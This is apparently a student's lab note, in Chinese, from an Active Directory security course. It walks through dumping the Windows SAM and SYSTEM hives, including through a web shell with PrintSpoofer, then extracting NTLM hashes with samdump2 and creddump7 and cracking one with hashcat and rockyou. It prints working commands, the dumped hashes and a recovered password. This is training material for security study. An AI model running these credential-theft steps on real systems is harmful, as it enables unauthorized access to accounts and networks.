NTUSTISC - AD Note - Lab(Brute Force SAM)

NTUSTISC - AD Note - Lab(Brute Force SAM)

[TOC]

Lecture Video: 2022/05/04 AD 安全1

Background

得到更高權限之後,會想要更多的密碼

  • 密碼收集
    • SAM.hive(Security Account Manager)
      • What: 就是一個用於windows的數據庫文件,用於==儲存用戶的密碼==,並且對於本地端或遠端的使用者進行身分認證
      • Where: C:\Windows\System32\config\SAM
    • Password Spraying(用猜的)
    • GPO
    • 記憶體(lsass)

Lab

==Brute Force SAM==

前面有提到SAM在哪裡,所以只要直接打開就看的到密碼了嗎?你會得到一個access denied的錯誤,原因是他已經被設定成read lock了,導致目前無法正常存取

  1. 匯出SAM File 主要目的就是把SAM file和SYSTEM file dump下來,而方法就是利用reg.exe(Windows註冊碼工具),用指令的方式存取
     $ reg save HKLM\SAM <save filename>
     $ reg save HKLM\SYSTEM <save filename>
    
    • 錯誤的方式 但經過cmd用普通權限實測會發現我們沒有這樣的資格
        $ reg save HKLM\SAM SAM.dump
        錯誤: 用戶端沒有這項特殊權限。
      

      其實也很合理,不然所有人都可以直接存取意味著只要摸到其中一臺普通權限的AD,所有機敏資料都會外洩,這就是為甚麼前面需要提權的原因,只有最高權限的帳戶可以存取這兩個file

    • 正確的方式-1 用前面提到的web shell,打出以下指令,則SAM file就會dump到C:\inetpub\wwwroot\sam.zip
        $ c:\tools\PrintSpoofer64.exe -c "reg save HKLM\SAM C:\inetpub\wwwroot\sam"
      
    • 正確的方式-2 利用Invoke-NinjaCopy.ps1這個腳本,就可以複製出來,原理是使用windows的影子複製
        $ .\Invoke-NinjaCopy -Path SAM -LocalDestination C:\tools\SAM_COPY
      

      但是經過實測,發現執行雖然有成功但是沒有任何檔案被dump出來,可能中間有些過程有誤? :::info 如果要用這個方法,PowerShell要以管理員權限打開,然後如果有遇到如下error message,可以參考這邊1解決問題 ```bash .\Invoke-NinjaCopy : 因為這個系統上已停用指令碼執行,所以無法載入 C:\tools\Invoke-NinjaCopy.ps1 檔案。如需詳細資訊,請參閱 about_Execution_Policies,網址為 https:/go.microsoft.com/fwlink/?LinkID=135170。 位於 線路:1 字元:1

      • .\Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestina …
      • ~~~~~~~~~~~~~~~~~~
        • CategoryInfo : SecurityError: (:) [], PSSecurityException
        • FullyQualifiedErrorId : UnauthorizedAccess ``` :::
  2. 解析SAM內容 拿到SAM的內容之後還需要解析他,可以用kali的samdump2解析
    • Win10 v1607之前的解法
      1
      2
      3
      4
      5
      6
      7
        $ samdump2 system sam 
        Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        *disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        *disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        user:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        :1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      

      可以看到很多都是disabled,就代表我們要用下面的解法

    • Win10 v1607之後 因為這個版本之後有用到AES加密,所以可以用Creddump7,建議使用anaconda這樣的虛擬環境,不然直接用內建的virtualenv會出事,
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
        $ conda activate py2.7
        $ pip install pycrypto
        $ git clone https://github.com/CiscoCXSecurity/creddump7.git
        $ python pwdump.py system sam
        Administrator:500:aad3b435b51404eeaad3b435b51404ee:7ecffff0c3548187607a14bad0f88bb1:::
        Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e3180c5331aad6ad1ac787749e6c4819:::
        user:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        low:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      
  3. 解析Hash
    • 方法一:用online database 接著就是把NTLM Hash丟到隨便的database看有沒有紀錄,例如cmd5,如果把最前面找到的31d6cfe0d16ae931b73c59d7e0c089c0會顯示空密碼,但我們都知道是錯的 而如果拿Creddump解析出來的7ecffff0c3548187607a14bad0f88bb1,就可以直接顯示出我們的密碼
    • 方法二:爆字典檔 在kali中的/usr/share/wordlists有一些字典檔可以用,例如rockyou等等,可以先用看看
      1
      2
      3
      4
      5
      6
      7
        $ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
        $ cp /usr/share/wordlists/rockyou.txt ./
        $ hashcat -a 0 -m 1000 ntlm.hash rockyou.txt --force
        ...
        31d6cfe0d16ae931b73c59d7e0c089c0:                         
        7ecffff0c3548187607a14bad0f88bb1:1qaz@WSX3edc
        ...
      

Reference